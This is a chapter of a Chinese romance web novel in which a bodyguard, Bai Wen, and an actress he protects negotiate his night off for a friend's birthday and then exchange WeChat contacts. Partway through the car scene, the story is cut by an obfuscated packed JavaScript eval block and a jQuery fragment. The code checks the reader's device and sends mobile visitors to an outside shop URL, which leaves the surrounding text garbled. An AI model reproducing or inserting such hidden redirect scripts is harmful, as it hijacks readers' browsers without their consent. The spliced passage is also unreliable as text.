黎宴第二天出工很早，剧组主阵地从雨林转移到城区。午后烈日当头，来往的工作人员都被烤成了蚂蚁。
柏闻靠在阴凉处的越野车旁，目光落在几十米外正在看监视器的黎宴身上。她今天有场情绪激烈的哭戏，对手男演员NG好几次，连带着她也反复哭了几场。
头顶蝉鸣不歇，他不自觉摩挲着手腕，仿佛那里还残留着黎宴昨晚拉住他的体温与力度。他记得她看过来时有些执拗的眼神，像根细韧的丝线，在他心上缠绕收紧了一整个晚上。
“闻哥。”
赛昂从片场另一边晃过来，笑得促狭：“哟，还守着你的大明星呢？”
柏闻扫了眼他头上那顶，不知从哪个道具堆里顺来的破草帽，嘴角淡淡一扬：“帽子不错，挺配你。”
“必须的，哥们儿这气质，超模来的。”赛昂故意将帽檐往上一推，递了根烟过来，胳膊肘又撞了一下。
“说正事，今天我生日，晚上老地方。阿泰他们特意从邦市赶回来，就等你了。你这贴身保镖，不至于贴到晚上都不撒手吧？”
柏闻点烟，挑眉瞥他一眼：“你上个月不才过完？”
赛昂咂了下嘴，一脸话不能这么说：“上个月那是兄弟们想聚，随便找个由头。这次是真的！我阿妈今早还给我打电话了，不信你拨回去问问？”
他直接把手机递过来，柏闻懒得理会，目光又飘向黎宴。化妆师正在给她补妆，那双哭过的眼红红的。
“有工作，看情况吧。”他的声音很淡。
“又看情况？”赛昂拖着声音抱怨，干脆往越野车引擎盖上一靠，抱着胳膊。
“不是我说，闻哥，咱年前那任务不比当保镖危险多了？也没见你这么抽不开身。怎么，真被拴住了？”
柏闻撩起眼皮看他，没接这话，反而问：“坤察市废弃仓库里那批意外浸水的装备，烂账都解决了？”
赛昂立刻举手：“哎哎哎，揭人不揭短啊！那批货纯粹是意外！”
他眼珠子一转，又换上那副贼兮兮的笑：“不过说真的，你跟这位大明星朝夕相对的，就没点那什么......进展？”
柏闻咬着烟没说话，只是静静盯着黎宴的身影，过了一会儿，答非所问。
“跟她搭戏的那个人业务能力太差，一场戏拍了七遍都没过。”
赛昂愣了一下，没太懂话题怎么跳到了这。
柏闻把烟掐灭，精准地将烟蒂弹入几步外的垃圾桶。
“晚上看情况，她要是收工早我就去，熬大夜我走不开。”
他这话说得太过平常，仿佛把黎宴放在第一位是件天经地义的事情。赛昂一脸你没救了的表情，摇着头唏嘘道。
“行吧，妻管严。”
他故意用中文说这个词，发音别扭但意思到位，柏闻的表情忽然变得有些古怪。
赛昂毫无察觉，自顾自道：“总之我等你信儿，老地方你知道的，不来你就等着哥几个去你酒店楼下唱一宿。”
这话说得欠，柏闻抬脚作势要踹，赛昂大笑着跳开，边退边喊：“真不来我可带人去酒店逮你啊！”
“安静滚。”
扔下这句话，柏闻没再看他，那句咒语般的“妻管严”却在耳朵里嗡嗡回响。他像是被一股无形的力量牵引，目光不受控地再次飘向片场。
在他视线落定的方向，黎宴走入置景，透过窗户可以看见她最后一次整理戏服。下一场是她和男一号的感情戏，陈烨非站在她面前，距离太远，听不清对白。
但柏闻知道他们会说什么，昨晚在他手中被翻得起皱的剧本，让他清楚记得每一句台词和停顿。不远处的男女主沉浸戏中，而他独自站在炽烈的热带阳光下，看着黎宴嘴唇张合。
陈烨非按剧本要求痛苦摇头，然后，她问出了昨晚那句没有被回应的台词。
“习惯新的，也会忘记旧的吗？”
置景中央，陈烨非陷入沉默，而后念出对白。
柏闻的薄唇几乎同时翕动，嗓音低不可闻。
片场外，一辆满载的皮卡呼啸而过，刺耳的鸣笛模糊了他的回答。
渐渐地，骄阳退场，无边暮色悄然漫上。
剧组在黄昏时分收工，回酒店前，黎宴不打招呼直接上了柏闻的车，而后靠在副驾驶闭目养神，一路无话。
就在车即将驶入酒店停车场时，她却忽然开口。
“你晚上有事？”
柏闻打了半圈方向盘：“没有。”
“那个叫赛昂的，是你同事吧。”黎宴没睁眼，语气却了然，“今天他负责的那一片都知道他要过生日了，搞得跟皇帝登基似的，你不去？”
柏闻犹豫了一下，还是道：“不去。”
“你去吧。”
黎宴突然道，柏闻有些意外，侧头瞥她一眼。黎宴环着手臂，下巴微微抬起。
“虽然工作要紧，但我也不是那种不近人情的老板，不会限制员工的私生活。”
柏闻想解释：“不用，我……”
“我让你去。”黎宴重复了一遍，随即补上一句，“但有条件。”
柏闻眉梢微挑：“？”
她不紧不慢地开口：“你可以去给同事过生日，但作为你的雇主，我需要知道你离开和回来的具体时间。”
她稍作停顿，目光转向他。
“并且每隔一小时，你要拍一段三百六十度的现场视频发给我报备。既然我放你离开工作岗位，总得确认我的保镖有没有借着由头，跑到什么我不知道的地方去逍遥快活。”
她说得理直气壮，柏闻对此并无异议，只是说：“视频我可以发给方宁，让她转发给你。”
“我不看二手消息。”
黎宴拒绝道：“而且我今晚有两个线上专访，方宁没空。”
车里陷入短暂的沉寂，柏闻将车停稳，引擎熄火后，周围更是一片安静。
他的手指在方向盘上轻敲了两下，最终开口：“我没有你的微信。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001288|193952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“那就加。”
黎宴推开车门，下车前回眸看他一眼：“我手机在方宁那儿，你找她扫。等你到了那边，我要第一时间收到报备视频。”
她说完便走向电梯，高跟鞋踩在地面发出清脆的声响，胜利者般将柏闻甩在了身后。后者坐在车里，目送她的身影被电梯门吞没，低头无声地扯了下嘴角。
柏闻拿出手机，点开与方宁那仅有寥寥数句的对话框，指尖悬停片刻，还是发了条消息过去。
晚间七点四十，黎宴结束了最后一个线上专访。
方宁朝她走来，将手机递还，小声说：“宴姐，柏队加你微信了，我扫给他的。”
“知道了。”黎宴状若无事地接过手机，挥了挥手，方宁便出去忙了。
客厅宁静，黎宴陷进柔软的沙发，微信点开的瞬间，她看着通讯录里久违的红点，心跳不自觉快了一拍。
他的验证消息很简单，就两个字：柏闻。
她盯着看了好久，最后才记起通过这回事。
聊天窗口自动跳出来，黎宴的目光落在顶部的微信ID上，是两个英文字母。
——MI。
一丝酸意悄然漫上心头，她一眼就认出这是“Meet immediately”的缩写。
大概是初中的某个午后吧，她抢过柏闻新注册的微信，非要给他取名。他当时笑着任她胡闹，以为她要取个什么惊世骇俗的名字。她盯着屏幕想了半天，忽然灵光一现。
“你叫柏闻，百闻不如一见，那就叫立刻见面好了！取个英文洋气点，Meet immediately，简称MI，又高冷又有内涵，是不是很酷！我是取名天才吧！”
柏闻笑了一声，竖起大拇指附和：“是是是，太厉害了。”
从那以后，他一直用着这个ID，直到四年前微信注销。
黎宴没想到他换了新的微信，竟然还用着这个名字，心头微微一动，像是抓住了他也并未全然舍弃过去的证据。
接着，她迫不及待点进柏闻的朋友圈，然而一片空白，要么没发过，要么对她不可见。
黎宴眉头飞蹙，立刻打开某书搜索。
“微信朋友圈被屏蔽的界面……”
她一边小声念一边打字，直到看见他人被屏蔽的惨痛案例与自己不符，终于安心了。
但她不太满意，总觉得获得的信息太少，又开始研究起柏闻的头像。那是一棵挂在枝头的青梅，稍稍压弯了枝桠，饱满得仿佛能透过屏幕闻到那股微酸的气息。
柏闻对青梅有种执着的钟爱，喜欢的糖果是青梅味，生日蛋糕要夹青梅酱，就连以前老房子院里种的青梅树，也是他从小到大一直养护。
黎宴问过他为什么，他只是笑笑说：“喜欢就是喜欢，没有为什么。”
后面她就懒得问了。
而现在，距离柏闻第一次报备的时间还差十一分钟。黎宴有些等不及，手机举得高高的，眼都不眨地盯着屏幕。